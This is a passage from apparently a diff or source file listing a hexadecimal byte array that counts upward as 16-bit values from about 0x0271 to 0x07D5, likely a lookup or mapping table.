0x71, 0x02, 0x72, 0x02, 0x73, 0x02, 0x74, 0x02, + 0x75, 0x02, 0x76, 0x02, 0x77, 0x02, 0x78, 0x02, + 0x79, 0x02, 0x7A, 0x02, 0x7B, 0x02, 0x7C, 0x02, + 0x7D, 0x02, 0x7E, 0x02, 0x7F, 0x02, 0x80, 0x02, + 0x81, 0x02, 0x82, 0x02, 0x83, 0x02, 0x84, 0x02, + 0x85, 0x02, 0x86, 0x02, 0x87, 0x02, 0x88, 0x02, + 0x89, 0x02, 0x8A, 0x02, 0x8B, 0x02, 0x8C, 0x02, + 0x8D, 0x02, 0x8E, 0x02, 0x8F, 0x02, 0x90, 0x02, + 0x91, 0x02, 0x92, 0x02, 0x93, 0x02, 0x94, 0x02, + 0x95, 0x02, 0x96, 0x02, 0x97, 0x02, 0x98, 0x02, + 0x99, 0x02, 0x9A, 0x02, 0x9B, 0x02, 0x9C, 0x02, + 0x9D, 0x02, 0x9E, 0x02, 0x9F, 0x02, 0xA0, 0x02, + 0xA1, 0x02, 0xA2, 0x02, 0xA3, 0x02, 0xA4, 0x02, + 0xA5, 0x02, 0xA6, 0x02, 0xA7, 0x02, 0xA8, 0x02, + 0xA9, 0x02, 0xAA, 0x02, 0xAB, 0x02, 0xAC, 0x02, + 0xAD, 0x02, 0xAE, 0x02, 0xAF, 0x02, 0xB0, 0x02, + 0xB1, 0x02, 0xB2, 0x02, 0xB3, 0x02, 0xB4, 0x02, + 0xB5, 0x02, 0xB6, 0x02, 0xB7, 0x02, 0xB8, 0x02, + 0xB9, 0x02, 0xBA, 0x02, 0xBB, 0x02, 0xBC, 0x02, + 0xBD, 0x02, 0xBE, 0x02, 0xBF, 0x02, 0xC0, 0x02, + 0xC1, 0x02, 0xC2, 0x02, 0xC3, 0x02, 0xC4, 0x02, + 0xC5, 0x02, 0xC6, 0x02, 0xC7, 0x02, 0xC8, 0x02, + 0xC9, 0x02, 0xCA, 0x02, 0xCB, 0x02, 0xCC, 0x02, + 0xCD, 0x02, 0xCE, 0x02, 0xCF, 0x02, 0xD0, 0x02, + 0xD1, 0x02, 0xD2, 0x02, 0xD3, 0x02, 0xD4, 0x02, + 0xD5, 0x02, 0xD6, 0x02, 0xD7, 0x02, 0xD8, 0x02, + 0xD9, 0x02, 0xDA, 0x02, 0xDB, 0x02, 0xDC, 0x02, + 0xDD, 0x02, 0xDE, 0x02, 0xDF, 0x02, 0xE0, 0x02, + 0xE1, 0x02, 0xE2, 0x02, 0xE3, 0x02, 0xE4, 0x02, + 0xE5, 0x02, 0xE6, 0x02, 0xE7, 0x02, 0xE8, 0x02, + 0xE9, 0x02, 0xEA, 0x02, 0xEB, 0x02, 0xEC, 0x02, + 0xED, 0x02, 0xEE, 0x02, 0xEF, 0x02, 0xF0, 0x02, + 0xF1, 0x02, 0xF2, 0x02, 0xF3, 0x02, 0xF4, 0x02, + 0xF5, 0x02, 0xF6, 0x02, 0xF7, 0x02, 0xF8, 0x02, + 0xF9, 0x02, 0xFA, 0x02, 0xFB, 0x02, 0xFC, 0x02, + 0xFD, 0x02, 0xFE, 0x02, 0xFF, 0x03, 0x00, 0x03, + 0x01, 0x03, 0x02, 0x03, 0x03, 0x03, 0x04, 0x03, + 0x05, 0x03, 0x06, 0x03, 0x07, 0x03, 0x08, 0x03, + 0x09, 0x03, 0x0A, 0x03, 0x0B, 0x03, 0x0C, 0x03, + 0x0D, 0x03, 0x0E, 0x03, 0x0F, 0x03, 0x10, 0x03, + 0x11, 0x03, 0x12, 0x03, 0x13, 0x03, 0x14, 0x03, + 0x15, 0x03, 0x16, 0x03, 0x17, 0x03, 0x18, 0x03, + 0x19, 0x03, 0x1A, 0x03, 0x1B, 0x03, 0x1C, 0x03, + 0x1D, 0x03, 0x1E, 0x03, 0x1F, 0x03, 0x20, 0x03, + 0x21, 0x03, 0x22, 0x03, 0x23, 0x03, 0x24, 0x03, + 0x25, 0x03, 0x26, 0x03, 0x27, 0x03, 0x28, 0x03, + 0x29, 0x03, 0x2A, 0x03, 0x2B, 0x03, 0x2C, 0x03, + 0x2D, 0x03, 0x2E, 0x03, 0x2F, 0x03, 0x30, 0x03, + 0x31, 0x03, 0x32, 0x03, 0x33, 0x03, 0x34, 0x03, + 0x35, 0x03, 0x36, 0x03, 0x37, 0x03, 0x38, 0x03, + 0x39, 0x03, 0x3A, 0x03, 0x3B, 0x03, 0x3C, 0x03, + 0x3D, 0x03, 0x3E, 0x03, 0x3F, 0x03, 0x40, 0x03, + 0x41, 0x03, 0x42, 0x03, 0x43, 0x03, 0x44, 0x03, + 0x45, 0x03, 0x46, 0x03, 0x47, 0x03, 0x48, 0x03, + 0x49, 0x03, 0x4A, 0x03, 0x4B, 0x03, 0x4C, 0x03, + 0x4D, 0x03, 0x4E, 0x03, 0x4F, 0x03, 0x50, 0x03, + 0x51, 0x03, 0x52, 0x03, 0x53, 0x03, 0x54, 0x03, + 0x55, 0x03, 0x56, 0x03, 0x57, 0x03, 0x58, 0x03, + 0x59, 0x03, 0x5A, 0x03, 0x5B, 0x03, 0x5C, 0x03, + 0x5D, 0x03, 0x5E, 0x03, 0x5F, 0x03, 0x60, 0x03, + 0x61, 0x03, 0x62, 0x03, 0x63, 0x03, 0x64, 0x03, + 0x65, 0x03, 0x66, 0x03, 0x67, 0x03, 0x68, 0x03, + 0x69, 0x03, 0x6A, 0x03, 0x6B, 0x03, 0x6C, 0x03, + 0x6D, 0x03, 0x6E, 0x03, 0x6F, 0x03, 0x70, 0x03, + 0x71, 0x03, 0x72, 0x03, 0x73, 0x03, 0x74, 0x03, + 0x75, 0x03, 0x76, 0x03, 0x77, 0x03, 0x78, 0x03, + 0x79, 0x03, 0x7A, 0x03, 0x7B, 0x03, 0x7C, 0x03, + 0x7D, 0x03, 0x7E, 0x03, 0x7F, 0x03, 0x80, 0x03, + 0x81, 0x03, 0x82, 0x03, 0x83, 0x03, 0x84, 0x03, + 0x85, 0x03, 0x86, 0x03, 0x87, 0x03, 0x88, 0x03, + 0x89, 0x03, 0x8A, 0x03, 0x8B, 0x03, 0x8C, 0x03, + 0x8D, 0x03, 0x8E, 0x03, 0x8F, 0x03, 0x90, 0x03, + 0x91, 0x03, 0x92, 0x03, 0x93, 0x03, 0x94, 0x03, + 0x95, 0x03, 0x96, 0x03, 0x97, 0x03, 0x98, 0x03, + 0x99, 0x03, 0x9A, 0x03, 0x9B, 0x03, 0x9C, 0x03, + 0x9D, 0x03, 0x9E, 0x03, 0x9F, 0x03, 0xA0, 0x03, + 0xA1, 0x03, 0xA2, 0x03, 0xA3, 0x03, 0xA4, 0x03, + 0xA5, 0x03, 0xA6, 0x03, 0xA7, 0x03, 0xA8, 0x03, + 0xA9, 0x03, 0xAA, 0x03, 0xAB, 0x03, 0xAC, 0x03, + 0xAD, 0x03, 0xAE, 0x03, 0xAF, 0x03, 0xB0, 0x03, + 0xB1, 0x03, 0xB2, 0x03, 0xB3, 0x03, 0xB4, 0x03, + 0xB5, 0x03, 0xB6, 0x03, 0xB7, 0x03, 0xB8, 0x03, + 0xB9, 0x03, 0xBA, 0x03, 0xBB, 0x03, 0xBC, 0x03, + 0xBD, 0x03, 0xBE, 0x03, 0xBF, 0x03, 0xC0, 0x03, + 0xC1, 0x03, 0xC2, 0x03, 0xC3, 0x03, 0xC4, 0x03, + 0xC5, 0x03, 0xC6, 0x03, 0xC7, 0x03, 0xC8, 0x03, + 0xC9, 0x03, 0xCA, 0x03, 0xCB, 0x03, 0xCC, 0x03, + 0xCD, 0x03, 0xCE, 0x03, 0xCF, 0x03, 0xD0, 0x03, + 0xD1, 0x03, 0xD2, 0x03, 0xD3, 0x03, 0xD4, 0x03, + 0xD5, 0x03, 0xD6, 0x03, 0xD7, 0x03, 0xD8, 0x03, + 0xD9, 0x03, 0xDA, 0x03, 0xDB, 0x03, 0xDC, 0x03, + 0xDD, 0x03, 0xDE, 0x03, 0xDF, 0x03, 0xE0, 0x03, + 0xE1, 0x03, 0xE2, 0x03, 0xE3, 0x03, 0xE4, 0x03, + 0xE5, 0x03, 0xE6, 0x03, 0xE7, 0x03, 0xE8, 0x03, + 0xE9, 0x03, 0xEA, 0x03, 0xEB, 0x03, 0xEC, 0x03, + 0xED, 0x03, 0xEE, 0x03, 0xEF, 0x03, 0xF0, 0x03, + 0xF1, 0x03, 0xF2, 0x03, 0xF3, 0x03, 0xF4, 0x03, + 0xF5, 0x03, 0xF6, 0x03, 0xF7, 0x03, 0xF8, 0x03, + 0xF9, 0x03, 0xFA, 0x03, 0xFB, 0x03, 0xFC, 0x03, + 0xFD, 0x03, 0xFE, 0x03, 0xFF, 0x04, 0x00, 0x04, + 0x01, 0x04, 0x02, 0x04, 0x03, 0x04, 0x04, 0x04, + 0x05, 0x04, 0x06, 0x04, 0x07, 0x04, 0x08, 0x04, + 0x09, 0x04, 0x0A, 0x04, 0x0B, 0x04, 0x0C, 0x04, + 0x0D, 0x04, 0x0E, 0x04, 0x0F, 0x04, 0x10, 0x04, + 0x11, 0x04, 0x12, 0x04, 0x13, 0x04, 0x14, 0x04, + 0x15, 0x04, 0x16, 0x04, 0x17, 0x04, 0x18, 0x04, + 0x19, 0x04, 0x1A, 0x04, 0x1B, 0x04, 0x1C, 0x04, + 0x1D, 0x04, 0x1E, 0x04, 0x1F, 0x04, 0x20, 0x04, + 0x21, 0x04, 0x22, 0x04, 0x23, 0x04, 0x24, 0x04, + 0x25, 0x04, 0x26, 0x04, 0x27, 0x04, 0x28, 0x04, + 0x29, 0x04, 0x2A, 0x04, 0x2B, 0x04, 0x2C, 0x04, + 0x2D, 0x04, 0x2E, 0x04, 0x2F, 0x04, 0x30, 0x04, + 0x31, 0x04, 0x32, 0x04, 0x33, 0x04, 0x34, 0x04, + 0x35, 0x04, 0x36, 0x04, 0x37, 0x04, 0x38, 0x04, + 0x39, 0x04, 0x3A, 0x04, 0x3B, 0x04, 0x3C, 0x04, + 0x3D, 0x04, 0x3E, 0x04, 0x3F, 0x04, 0x40, 0x04, + 0x41, 0x04, 0x42, 0x04, 0x43, 0x04, 0x44, 0x04, + 0x45, 0x04, 0x46, 0x04, 0x47, 0x04, 0x48, 0x04, + 0x49, 0x04, 0x4A, 0x04, 0x4B, 0x04, 0x4C, 0x04, + 0x4D, 0x04, 0x4E, 0x04, 0x4F, 0x04, 0x50, 0x04, + 0x51, 0x04, 0x52, 0x04, 0x53, 0x04, 0x54, 0x04, + 0x55, 0x04, 0x56, 0x04, 0x57, 0x04, 0x58, 0x04, + 0x59, 0x04, 0x5A, 0x04, 0x5B, 0x04, 0x5C, 0x04, + 0x5D, 0x04, 0x5E, 0x04, 0x5F, 0x04, 0x60, 0x04, + 0x61, 0x04, 0x62, 0x04, 0x63, 0x04, 0x64, 0x04, + 0x65, 0x04, 0x66, 0x04, 0x67, 0x04, 0x68, 0x04, + 0x69, 0x04, 0x6A, 0x04, 0x6B, 0x04, 0x6C, 0x04, + 0x6D, 0x04, 0x6E, 0x04, 0x6F, 0x04, 0x70, 0x04, + 0x71, 0x04, 0x72, 0x04, 0x73, 0x04, 0x74, 0x04, + 0x75, 0x04, 0x76, 0x04, 0x77, 0x04, 0x78, 0x04, + 0x79, 0x04, 0x7A, 0x04, 0x7B, 0x04, 0x7C, 0x04, + 0x7D, 0x04, 0x7E, 0x04, 0x7F, 0x04, 0x80, 0x04, + 0x81, 0x04, 0x82, 0x04, 0x83, 0x04, 0x84, 0x04, + 0x85, 0x04, 0x86, 0x04, 0x87, 0x04, 0x88, 0x04, + 0x89, 0x04, 0x8A, 0x04, 0x8B, 0x04, 0x8C, 0x04, + 0x8D, 0x04, 0x8E, 0x04, 0x8F, 0x04, 0x90, 0x04, + 0x91, 0x04, 0x92, 0x04, 0x93, 0x04, 0x94, 0x04, + 0x95, 0x04, 0x96, 0x04, 0x97, 0x04, 0x98, 0x04, + 0x99, 0x04, 0x9A, 0x04, 0x9B, 0x04, 0x9C, 0x04, + 0x9D, 0x04, 0x9E, 0x04, 0x9F, 0x04, 0xA0, 0x04, + 0xA1, 0x04, 0xA2, 0x04, 0xA3, 0x04, 0xA4, 0x04, + 0xA5, 0x04, 0xA6, 0x04, 0xA7, 0x04, 0xA8, 0x04, + 0xA9, 0x04, 0xAA, 0x04, 0xAB, 0x04, 0xAC, 0x04, + 0xAD, 0x04, 0xAE, 0x04, 0xAF, 0x04, 0xB0, 0x04, + 0xB1, 0x04, 0xB2, 0x04, 0xB3, 0x04, 0xB4, 0x04, + 0xB5, 0x04, 0xB6, 0x04, 0xB7, 0x04, 0xB8, 0x04, + 0xB9, 0x04, 0xBA, 0x04, 0xBB, 0x04, 0xBC, 0x04, + 0xBD, 0x04, 0xBE, 0x04, 0xBF, 0x04, 0xC0, 0x04, + 0xC1, 0x04, 0xC2, 0x04, 0xC3, 0x04, 0xC4, 0x04, + 0xC5, 0x04, 0xC6, 0x04, 0xC7, 0x04, 0xC8, 0x04, + 0xC9, 0x04, 0xCA, 0x04, 0xCB, 0x04, 0xCC, 0x04, + 0xCD, 0x04, 0xCE, 0x04, 0xCF, 0x04, 0xD0, 0x04, + 0xD1, 0x04, 0xD2, 0x04, 0xD3, 0x04, 0xD4, 0x04, + 0xD5, 0x04, 0xD6, 0x04, 0xD7, 0x04, 0xD8, 0x04, + 0xD9, 0x04, 0xDA, 0x04, 0xDB, 0x04, 0xDC, 0x04, + 0xDD, 0x04, 0xDE, 0x04, 0xDF, 0x04, 0xE0, 0x04, + 0xE1, 0x04, 0xE2, 0x04, 0xE3, 0x04, 0xE4, 0x04, + 0xE5, 0x04, 0xE6, 0x04, 0xE7, 0x04, 0xE8, 0x04, + 0xE9, 0x04, 0xEA, 0x04, 0xEB, 0x04, 0xEC, 0x04, + 0xED, 0x04, 0xEE, 0x04, 0xEF, 0x04, 0xF0, 0x04, + 0xF1, 0x04, 0xF2, 0x04, 0xF3, 0x04, 0xF4, 0x04, + 0xF5, 0x04, 0xF6, 0x04, 0xF7, 0x04, 0xF8, 0x04, + 0xF9, 0x04, 0xFA, 0x04, 0xFB, 0x04, 0xFC, 0x04, + 0xFD, 0x04, 0xFE, 0x04, 0xFF, 0x05, 0x00, 0x05, + 0x01, 0x05, 0x02, 0x05, 0x03, 0x05, 0x04, 0x05, + 0x05, 0x05, 0x06, 0x05, 0x07, 0x05, 0x08, 0x05, + 0x09, 0x05, 0x0A, 0x05, 0x0B, 0x05, 0x0C, 0x05, + 0x0D, 0x05, 0x0E, 0x05, 0x0F, 0x05, 0x10, 0x05, + 0x11, 0x05, 0x12, 0x05, 0x13, 0x05, 0x14, 0x05, + 0x15, 0x05, 0x16, 0x05, 0x17, 0x05, 0x18, 0x05, + 0x19, 0x05, 0x1A, 0x05, 0x1B, 0x05, 0x1C, 0x05, + 0x1D, 0x05, 0x1E, 0x05, 0x1F, 0x05, 0x20, 0x05, + 0x21, 0x05, 0x22, 0x05, 0x23, 0x05, 0x24, 0x05, + 0x25, 0x05, 0x26, 0x05, 0x27, 0x05, 0x28, 0x05, + 0x29, 0x05, 0x2A, 0x05, 0x2B, 0x05, 0x2C, 0x05, + 0x2D, 0x05, 0x2E, 0x05, 0x2F, 0x05, 0x30, 0x05, + 0x31, 0x05, 0x32, 0x05, 0x33, 0x05, 0x34, 0x05, + 0x35, 0x05, 0x36, 0x05, 0x37, 0x05, 0x38, 0x05, + 0x39, 0x05, 0x3A, 0x05, 0x3B, 0x05, 0x3C, 0x05, + 0x3D, 0x05, 0x3E, 0x05, 0x3F, 0x05, 0x40, 0x05, + 0x41, 0x05, 0x42, 0x05, 0x43, 0x05, 0x44, 0x05, + 0x45, 0x05, 0x46, 0x05, 0x47, 0x05, 0x48, 0x05, + 0x49, 0x05, 0x4A, 0x05, 0x4B, 0x05, 0x4C, 0x05, + 0x4D, 0x05, 0x4E, 0x05, 0x4F, 0x05, 0x50, 0x05, + 0x51, 0x05, 0x52, 0x05, 0x53, 0x05, 0x54, 0x05, + 0x55, 0x05, 0x56, 0x05, 0x57, 0x05, 0x58, 0x05, + 0x59, 0x05, 0x5A, 0x05, 0x5B, 0x05, 0x5C, 0x05, + 0x5D, 0x05, 0x5E, 0x05, 0x5F, 0x05, 0x60, 0x05, + 0x61, 0x05, 0x62, 0x05, 0x63, 0x05, 0x64, 0x05, + 0x65, 0x05, 0x66, 0x05, 0x67, 0x05, 0x68, 0x05, + 0x69, 0x05, 0x6A, 0x05, 0x6B, 0x05, 0x6C, 0x05, + 0x6D, 0x05, 0x6E, 0x05, 0x6F, 0x05, 0x70, 0x05, + 0x71, 0x05, 0x72, 0x05, 0x73, 0x05, 0x74, 0x05, + 0x75, 0x05, 0x76, 0x05, 0x77, 0x05, 0x78, 0x05, + 0x79, 0x05, 0x7A, 0x05, 0x7B, 0x05, 0x7C, 0x05, + 0x7D, 0x05, 0x7E, 0x05, 0x7F, 0x05, 0x80, 0x05, + 0x81, 0x05, 0x82, 0x05, 0x83, 0x05, 0x84, 0x05, + 0x85, 0x05, 0x86, 0x05, 0x87, 0x05, 0x88, 0x05, + 0x89, 0x05, 0x8A, 0x05, 0x8B, 0x05, 0x8C, 0x05, + 0x8D, 0x05, 0x8E, 0x05, 0x8F, 0x05, 0x90, 0x05, + 0x91, 0x05, 0x92, 0x05, 0x93, 0x05, 0x94, 0x05, + 0x95, 0x05, 0x96, 0x05, 0x97, 0x05, 0x98, 0x05, + 0x99, 0x05, 0x9A, 0x05, 0x9B, 0x05, 0x9C, 0x05, + 0x9D, 0x05, 0x9E, 0x05, 0x9F, 0x05, 0xA0, 0x05, + 0xA1, 0x05, 0xA2, 0x05, 0xA3, 0x05, 0xA4, 0x05, + 0xA5, 0x05, 0xA6, 0x05, 0xA7, 0x05, 0xA8, 0x05, + 0xA9, 0x05, 0xAA, 0x05, 0xAB, 0x05, 0xAC, 0x05, + 0xAD, 0x05, 0xAE, 0x05, 0xAF, 0x05, 0xB0, 0x05, + 0xB1, 0x05, 0xB2, 0x05, 0xB3, 0x05, 0xB4, 0x05, + 0xB5, 0x05, 0xB6, 0x05, 0xB7, 0x05, 0xB8, 0x05, + 0xB9, 0x05, 0xBA, 0x05, 0xBB, 0x05, 0xBC, 0x05, + 0xBD, 0x05, 0xBE, 0x05, 0xBF, 0x05, 0xC0, 0x05, + 0xC1, 0x05, 0xC2, 0x05, 0xC3, 0x05, 0xC4, 0x05, + 0xC5, 0x05, 0xC6, 0x05, 0xC7, 0x05, 0xC8, 0x05, + 0xC9, 0x05, 0xCA, 0x05, 0xCB, 0x05, 0xCC, 0x05, + 0xCD, 0x05, 0xCE, 0x05, 0xCF, 0x05, 0xD0, 0x05, + 0xD1, 0x05, 0xD2, 0x05, 0xD3, 0x05, 0xD4, 0x05, + 0xD5, 0x05, 0xD6, 0x05, 0xD7, 0x05, 0xD8, 0x05, + 0xD9, 0x05, 0xDA, 0x05, 0xDB, 0x05, 0xDC, 0x05, + 0xDD, 0x05, 0xDE, 0x05, 0xDF, 0x05, 0xE0, 0x05, + 0xE1, 0x05, 0xE2, 0x05, 0xE3, 0x05, 0xE4, 0x05, + 0xE5, 0x05, 0xE6, 0x05, 0xE7, 0x05, 0xE8, 0x05, + 0xE9, 0x05, 0xEA, 0x05, 0xEB, 0x05, 0xEC, 0x05, + 0xED, 0x05, 0xEE, 0x05, 0xEF, 0x05, 0xF0, 0x05, + 0xF1, 0x05, 0xF2, 0x05, 0xF3, 0x05, 0xF4, 0x05, + 0xF5, 0x05, 0xF6, 0x05, 0xF7, 0x05, 0xF8, 0x05, + 0xF9, 0x05, 0xFA, 0x05, 0xFB, 0x05, 0xFC, 0x05, + 0xFD, 0x05, 0xFE, 0x05, 0xFF, 0x06, 0x00, 0x06, + 0x01, 0x06, 0x02, 0x06, 0x03, 0x06, 0x04, 0x06, + 0x05, 0x06, 0x06, 0x06, 0x07, 0x06, 0x08, 0x06, + 0x09, 0x06, 0x0A, 0x06, 0x0B, 0x06, 0x0C, 0x06, + 0x0D, 0x06, 0x0E, 0x06, 0x0F, 0x06, 0x10, 0x06, + 0x11, 0x06, 0x12, 0x06, 0x13, 0x06, 0x14, 0x06, + 0x15, 0x06, 0x16, 0x06, 0x17, 0x06, 0x18, 0x06, + 0x19, 0x06, 0x1A, 0x06, 0x1B, 0x06, 0x1C, 0x06, + 0x1D, 0x06, 0x1E, 0x06, 0x1F, 0x06, 0x20, 0x06, + 0x21, 0x06, 0x22, 0x06, 0x23, 0x06, 0x24, 0x06, + 0x25, 0x06, 0x26, 0x06, 0x27, 0x06, 0x28, 0x06, + 0x29, 0x06, 0x2A, 0x06, 0x2B, 0x06, 0x2C, 0x06, + 0x2D, 0x06, 0x2E, 0x06, 0x2F, 0x06, 0x30, 0x06, + 0x31, 0x06, 0x32, 0x06, 0x33, 0x06, 0x34, 0x06, + 0x35, 0x06, 0x36, 0x06, 0x37, 0x06, 0x38, 0x06, + 0x39, 0x06, 0x3A, 0x06, 0x3B, 0x06, 0x3C, 0x06, + 0x3D, 0x06, 0x3E, 0x06, 0x3F, 0x06, 0x40, 0x06, + 0x41, 0x06, 0x42, 0x06, 0x43, 0x06, 0x44, 0x06, + 0x45, 0x06, 0x46, 0x06, 0x47, 0x06, 0x48, 0x06, + 0x49, 0x06, 0x4A, 0x06, 0x4B, 0x06, 0x4C, 0x06, + 0x4D, 0x06, 0x4E, 0x06, 0x4F, 0x06, 0x50, 0x06, + 0x51, 0x06, 0x52, 0x06, 0x53, 0x06, 0x54, 0x06, + 0x55, 0x06, 0x56, 0x06, 0x57, 0x06, 0x58, 0x06, + 0x59, 0x06, 0x5A, 0x06, 0x5B, 0x06, 0x5C, 0x06, + 0x5D, 0x06, 0x5E, 0x06, 0x5F, 0x06, 0x60, 0x06, + 0x61, 0x06, 0x62, 0x06, 0x63, 0x06, 0x64, 0x06, + 0x65, 0x06, 0x66, 0x06, 0x67, 0x06, 0x68, 0x06, + 0x69, 0x06, 0x6A, 0x06, 0x6B, 0x06, 0x6C, 0x06, + 0x6D, 0x06, 0x6E, 0x06, 0x6F, 0x06, 0x70, 0x06, + 0x71, 0x06, 0x72, 0x06, 0x73, 0x06, 0x74, 0x06, + 0x75, 0x06, 0x76, 0x06, 0x77, 0x06, 0x78, 0x06, + 0x79, 0x06, 0x7A, 0x06, 0x7B, 0x06, 0x7C, 0x06, + 0x7D, 0x06, 0x7E, 0x06, 0x7F, 0x06, 0x80, 0x06, + 0x81, 0x06, 0x82, 0x06, 0x83, 0x06, 0x84, 0x06, + 0x85, 0x06, 0x86, 0x06, 0x87, 0x06, 0x88, 0x06, + 0x89, 0x06, 0x8A, 0x06, 0x8B, 0x06, 0x8C, 0x06, + 0x8D, 0x06, 0x8E, 0x06, 0x8F, 0x06, 0x90, 0x06, + 0x91, 0x06, 0x92, 0x06, 0x93, 0x06, 0x94, 0x06, + 0x95, 0x06, 0x96, 0x06, 0x97, 0x06, 0x98, 0x06, + 0x99, 0x06, 0x9A, 0x06, 0x9B, 0x06, 0x9C, 0x06, + 0x9D, 0x06, 0x9E, 0x06, 0x9F, 0x06, 0xA0, 0x06, + 0xA1, 0x06, 0xA2, 0x06, 0xA3, 0x06, 0xA4, 0x06, + 0xA5, 0x06, 0xA6, 0x06, 0xA7, 0x06, 0xA8, 0x06, + 0xA9, 0x06, 0xAA, 0x06, 0xAB, 0x06, 0xAC, 0x06, + 0xAD, 0x06, 0xAE, 0x06, 0xAF, 0x06, 0xB0, 0x06, + 0xB1, 0x06, 0xB2, 0x06, 0xB3, 0x06, 0xB4, 0x06, + 0xB5, 0x06, 0xB6, 0x06, 0xB7, 0x06, 0xB8, 0x06, + 0xB9, 0x06, 0xBA, 0x06, 0xBB, 0x06, 0xBC, 0x06, + 0xBD, 0x06, 0xBE, 0x06, 0xBF, 0x06, 0xC0, 0x06, + 0xC1, 0x06, 0xC2, 0x06, 0xC3, 0x06, 0xC4, 0x06, + 0xC5, 0x06, 0xC6, 0x06, 0xC7, 0x06, 0xC8, 0x06, + 0xC9, 0x06, 0xCA, 0x06, 0xCB, 0x06, 0xCC, 0x06, + 0xCD, 0x06, 0xCE, 0x06, 0xCF, 0x06, 0xD0, 0x06, + 0xD1, 0x06, 0xD2, 0x06, 0xD3, 0x06, 0xD4, 0x06, + 0xD5, 0x06, 0xD6, 0x06, 0xD7, 0x06, 0xD8, 0x06, + 0xD9, 0x06, 0xDA, 0x06, 0xDB, 0x06, 0xDC, 0x06, + 0xDD, 0x06, 0xDE, 0x06, 0xDF, 0x06, 0xE0, 0x06, + 0xE1, 0x06, 0xE2, 0x06, 0xE3, 0x06, 0xE4, 0x06, + 0xE5, 0x06, 0xE6, 0x06, 0xE7, 0x06, 0xE8, 0x06, + 0xE9, 0x06, 0xEA, 0x06, 0xEB, 0x06, 0xEC, 0x06, + 0xED, 0x06, 0xEE, 0x06, 0xEF, 0x06, 0xF0, 0x06, + 0xF1, 0x06, 0xF2, 0x06, 0xF3, 0x06, 0xF4, 0x06, + 0xF5, 0x06, 0xF6, 0x06, 0xF7, 0x06, 0xF8, 0x06, + 0xF9, 0x06, 0xFA, 0x06, 0xFB, 0x06, 0xFC, 0x06, + 0xFD, 0x06, 0xFE, 0x06, 0xFF, 0x07, 0x00, 0x07, + 0x01, 0x07, 0x02, 0x07, 0x03, 0x07, 0x04, 0x07, + 0x05, 0x07, 0x06, 0x07, 0x07, 0x07, 0x08, 0x07, + 0x09, 0x07, 0x0A, 0x07, 0x0B, 0x07, 0x0C, 0x07, + 0x0D, 0x07, 0x0E, 0x07, 0x0F, 0x07, 0x10, 0x07, + 0x11, 0x07, 0x12, 0x07, 0x13, 0x07, 0x14, 0x07, + 0x15, 0x07, 0x16, 0x07, 0x17, 0x07, 0x18, 0x07, + 0x19, 0x07, 0x1A, 0x07, 0x1B, 0x07, 0x1C, 0x07, + 0x1D, 0x07, 0x1E, 0x07, 0x1F, 0x07, 0x20, 0x07, + 0x21, 0x07, 0x22, 0x07, 0x23, 0x07, 0x24, 0x07, + 0x25, 0x07, 0x26, 0x07, 0x27, 0x07, 0x28, 0x07, + 0x29, 0x07, 0x2A, 0x07, 0x2B, 0x07, 0x2C, 0x07, + 0x2D, 0x07, 0x2E, 0x07, 0x2F, 0x07, 0x30, 0x07, + 0x31, 0x07, 0x32, 0x07, 0x33, 0x07, 0x34, 0x07, + 0x35, 0x07, 0x36, 0x07, 0x37, 0x07, 0x38, 0x07, + 0x39, 0x07, 0x3A, 0x07, 0x3B, 0x07, 0x3C, 0x07, + 0x3D, 0x07, 0x3E, 0x07, 0x3F, 0x07, 0x40, 0x07, + 0x41, 0x07, 0x42, 0x07, 0x43, 0x07, 0x44, 0x07, + 0x45, 0x07, 0x46, 0x07, 0x47, 0x07, 0x48, 0x07, + 0x49, 0x07, 0x4A, 0x07, 0x4B, 0x07, 0x4C, 0x07, + 0x4D, 0x07, 0x4E, 0x07, 0x4F, 0x07, 0x50, 0x07, + 0x51, 0x07, 0x52, 0x07, 0x53, 0x07, 0x54, 0x07, + 0x55, 0x07, 0x56, 0x07, 0x57, 0x07, 0x58, 0x07, + 0x59, 0x07, 0x5A, 0x07, 0x5B, 0x07, 0x5C, 0x07, + 0x5D, 0x07, 0x5E, 0x07, 0x5F, 0x07, 0x60, 0x07, + 0x61, 0x07, 0x62, 0x07, 0x63, 0x07, 0x64, 0x07, + 0x65, 0x07, 0x66, 0x07, 0x67, 0x07, 0x68, 0x07, + 0x69, 0x07, 0x6A, 0x07, 0x6B, 0x07, 0x6C, 0x07, + 0x6D, 0x07, 0x6E, 0x07, 0x6F, 0x07, 0x70, 0x07, + 0x71, 0x07, 0x72, 0x07, 0x73, 0x07, 0x74, 0x07, + 0x75, 0x07, 0x76, 0x07, 0x77, 0x07, 0x78, 0x07, + 0x79, 0x07, 0x7A, 0x07, 0x7B, 0x07, 0x7C, 0x07, + 0x7D, 0x07, 0x7E, 0x07, 0x7F, 0x07, 0x80, 0x07, + 0x81, 0x07, 0x82, 0x07, 0x83, 0x07, 0x84, 0x07, + 0x85, 0x07, 0x86, 0x07, 0x87, 0x07, 0x88, 0x07, + 0x89, 0x07, 0x8A, 0x07, 0x8B, 0x07, 0x8C, 0x07, + 0x8D, 0x07, 0x8E, 0x07, 0x8F, 0x07, 0x90, 0x07, + 0x91, 0x07, 0x92, 0x07, 0x93, 0x07, 0x94, 0x07, + 0x95, 0x07, 0x96, 0x07, 0x97, 0x07, 0x98, 0x07, + 0x99, 0x07, 0x9A, 0x07, 0x9B, 0x07, 0x9C, 0x07, + 0x9D, 0x07, 0x9E, 0x07, 0x9F, 0x07, 0xA0, 0x07, + 0xA1, 0x07, 0xA2, 0x07, 0xA3, 0x07, 0xA4, 0x07, + 0xA5, 0x07, 0xA6, 0x07, 0xA7, 0x07, 0xA8, 0x07, + 0xA9, 0x07, 0xAA, 0x07, 0xAB, 0x07, 0xAC, 0x07, + 0xAD, 0x07, 0xAE, 0x07, 0xAF, 0x07, 0xB0, 0x07, + 0xB1, 0x07, 0xB2, 0x07, 0xB3, 0x07, 0xB4, 0x07, + 0xB5, 0x07, 0xB6, 0x07, 0xB7, 0x07, 0xB8, 0x07, + 0xB9, 0x07, 0xBA, 0x07, 0xBB, 0x07, 0xBC, 0x07, + 0xBD, 0x07, 0xBE, 0x07, 0xBF, 0x07, 0xC0, 0x07, + 0xC1, 0x07, 0xC2, 0x07, 0xC3, 0x07, 0xC4, 0x07, + 0xC5, 0x07, 0xC6, 0x07, 0xC7, 0x07, 0xC8, 0x07, + 0xC9, 0x07, 0xCA, 0x07, 0xCB, 0x07, 0xCC, 0x07, + 0xCD, 0x07, 0xCE, 0x07, 0xCF, 0x07, 0xD0, 0x07, + 0xD1, 0x07, 0xD2, 0x07, 0xD3, 0x07, 0xD4, 0x07, + 0xD5, 